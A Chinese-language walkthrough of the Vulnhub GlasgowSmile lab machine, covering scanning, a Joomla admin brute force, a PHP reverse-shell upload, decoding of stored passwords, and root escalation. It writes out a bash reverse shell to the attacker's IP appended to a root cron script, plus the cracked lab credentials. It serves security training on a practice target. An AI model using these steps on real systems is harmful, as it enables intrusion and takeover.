Vulnhub GlasgowSmile靶机渗透记录

环境配置

镜像下载地址：http://www.vulnhub.com/entry/glasgow-smile-11,491/
目标：三个user.txt，root权限
Kali Linux IP: 192.168.1.128
GlasgowSmile IP: 192.168.1.142

信息收集

• 利用netdiscover进行主机发现：

netdiscover -i 网卡设备名

• 使用nmap进行端口扫描：

nmap -A -p- -sS 192.168.1.142

• 使用dirb对80端口的http服务进行目录遍历：

dirb http://192.168.1.142 /usr/share/wordlists/dirb/big.txt

简单遍历一下就发现很多站点的目录文件信息，ta的CMS是joomla，接下来访问一下站点：

• 访问http://192.168.1.142
  
  站点主页面也没有特别的信息，源码也没有信息点。
• 访问：http://192.168.1.142/joomla
  第二个页面里面有小丑电影的台词，根据主页内容可以推测站主可能对小丑比较喜爱，可以尝试利用cewl用主页内容生成密码字典：

cewl http://192.168.1.142/joomla -m 5 -d 1 -w joker.txt

访问：http://192.168.1.142/joomla/administrator/index.php

漏洞利用

后台登录界面，可以尝试利用Burpsuite爆破，用户名用joomla，密码字典利用刚刚生成的joker.txt:

• 确定浏览器代理：
  
• 启用burpsuite爆破：
  
  
  
  拿到账号密码，账号：joomla ，密码：Gotham 登录后台：
  

GetShell

打开模块进行反弹shell编辑：



编辑index.php，可以利用pentestmonkey里面的php webshell代码：
http://pentestmonkey.net/tools/web-shells/php-reverse-shell

编辑完之后进行save，然后打开nc监听，最后点击预览页面：

nc -lvp 4444

权限提升

• 利用python3打开一个bash终端：

python3 -c "import pty;pty.spawn('/bin/bash')"

• 去/home目录下查看用户的主目录，确认用户：

ls /home

可以看到三个用户主目录abner，penguin，rob。

1. 权限提升rob：
目前用户是www-data，站点的用户，我们去/var/www/查看目录信息：

存在一个joomla2文件夹，查看一下：

存在配置文件，cat一下内容：

发现数据库账号密码，账号：joomla，密码：babyjoker，登录数据库查看：

mysql -u joomla -p

经过一番查找，在数据库batjoke下的taskforce表中下发现：

将pswd进行base64解密：

echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d

账号：rob 密码：???AllIHaveAreNegativeThoughts???

2. 权限提升abner
利用rob的账号进行ssh登录：

查看rob主目录内容：

cat user.txt

cat howtoberoot

cat Abnerineedyourhelp

观察内容发现纯英文，有空格，类似一封信，但是内容却无意义，考虑利用率rot13类似的加密算法，去https://gchq.github.io/CyberChef/对内容进行解密：

当偏移量为1时候内容有意思，对文章末尾的密码进行base64解码。

echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d

账号：abner，密码：I33hope99my0death000makes44more8cents00than0my0life0
利用su切换到abner用户：

3. 权限提升penguin
进入abner主目录查看信息：

cat user2.txt

cat info.txt

是对Glasgow smile的介绍，全盘搜索与penguin用户相关的文件：

find / -iname *penguin* 2>/dev/null

发现隐藏文件，查看文件详情：

ls -al /var/www/joomla2/administrator/manifests/files/

属于abner的隐藏压缩文件，负责到用户主目录进行解压：

cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

利用abner的登录凭证解压：I33hope99my0death000makes44more8cents00than0my0life0

查看解压内容：

账号：penguin，密码：scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
利用su切换到penguin用户。

4. 权限提升root
进入penguin主目录查看内容：

cat user3.txt

cat PeopleAreStartingToNotice.txt

结合文件内容，发现.trash_old属于用户penguin,root组并且任何人都可执行。
利用pspy对系统进程进行监控，以及对用户命令的执行进行枚举：
github：https://github.com/DominicBreuker/pspy

• Kali在pspy目录下启动python http服务：

python -m SimpleHTTPServer 8080 &

• 靶机通过wget下载pspy64：

wget http://192.168.1.128:8080/pspy64 -O pspy64

• 赋予执行权限并运行：

chmod +x pspy64 && ./pspy64 -p -i 1000

pspy64选项：
-p：启用输出命令到标准输出（默认启用）
-f：启用将文件系统事件打印到STDOUT（默认禁用）
-i：两次扫描procfs的时间间隔（单位：毫秒）

发现.trash_old 每一分钟一root权限运行一次，可以将反弹shell代码写入，让其自动执行：

echo "bash -c 'bash -i >& /dev/tcp/192.168.1.128/4444 0>&1'" >> .trash_old

并用vi编辑，将exit 0 用#注释：

Kali启用nc监听等待自动连接：

nc -lvp 4444

拿到root权限完成渗透。